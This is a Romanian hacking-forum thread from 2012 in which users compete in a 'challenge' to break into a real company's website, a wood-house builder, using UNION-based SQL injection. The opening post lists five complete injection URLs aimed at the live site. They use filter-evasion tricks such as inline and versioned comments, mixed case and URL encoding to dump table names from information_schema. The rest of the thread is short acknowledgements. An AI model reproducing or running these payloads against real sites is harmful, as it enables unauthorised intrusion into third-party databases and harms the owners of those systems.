Sweby Posted October 8, 2012 Report Share Posted October 8, 2012 (edited) [+] Target : Casa din lemn rotund - CONY WOOD SRL[+] Metoda : Union Based[+] Cerinte : Afisati "Nick : table_name"[+] Proof :PM cu sintaxeleIdeea cu tabelul de la Wubi .[table=width: 800, class: grid, align: left][tr] [td]Solvers[/td] [td]Syntax (dupa inchiderea challengului)[/td][/tr][tr] [td]totti93[/td] [td]http://www.casadelemn.ro/?show=-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_name)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())-- -[/td][/tr][tr] [td]Wubi[/td] [td]http://www.casadelemn.ro/?show=-2+/**//*!31337UNION SELECT*//**/+1,/*!31337cOnCat*/(/*!0x77756269,0x3a,table_name*/)/**//*!From*/+%69nformation_schema./**/tAblES+/*!31337Where*/+/*!%54able_ScHEmA*/=schEMA()-- - --+-[/td][/tr][tr] [td]neo.hapsis[/td] [td]http://www.casadelemn.ro/?show=2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -[/td][/tr][tr] [td]gafi[/td] [td]http://www.casadelemn.ro/?show=258000+union%23foo*%2F*bar%0D%0Aselect+1,concat_ws(' : ',CHAR(103,97,102,105),table_name)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--[/td][/tr][tr] [td]co4ie[/td] [td]http://www.casadelemn.ro/?show=-2+union+%28select+1,%09COnCaT%09%28user%28%29,0x3a,table_name%29+FrOm+InFoRmAtIoN_sChEmA.%09TaBlEs%09+WhErE+TaBlE_sChEMa+LiKe+database%28%29%29--%a0-[/td][/tr][tr] [td][/td] [td][/td][/tr][/table] Edited October 12, 2012 by Sweby Quote Link to comment Share on other sites More sharing options...
totti93 Posted October 8, 2012 Report Share Posted October 8, 2012 (edited) Am fost un timp inactiv. O vreme doar citeam si am vazut acest tread.L.E.: Am scos doar versiunea intai, nu am vazut ca trebuie sub forma `nume : tabel`. Edited October 8, 2012 by totti93 Quote Link to comment Share on other sites More sharing options...
Wubi Posted October 8, 2012 Report Share Posted October 8, 2012 (edited) Scuze, nu citisem cerintele, Edited October 8, 2012 by Wubi Quote Link to comment Share on other sites More sharing options...
neo.hapsis Posted October 8, 2012 Report Share Posted October 8, 2012 User,Database,VersionNick : Table_Name Quote Link to comment Share on other sites More sharing options...
gafi Posted October 8, 2012 Report Share Posted October 8, 2012 Quote Link to comment Share on other sites More sharing options...
co4ie Posted October 11, 2012 Report Share Posted October 11, 2012 Quote Link to comment Share on other sites More sharing options...
Sweby Posted October 12, 2012 Author Report Share Posted October 12, 2012 Challenge inchis, sintaxe postate. Multumesc pentru participare . Quote Link to comment Share on other sites More sharing options...
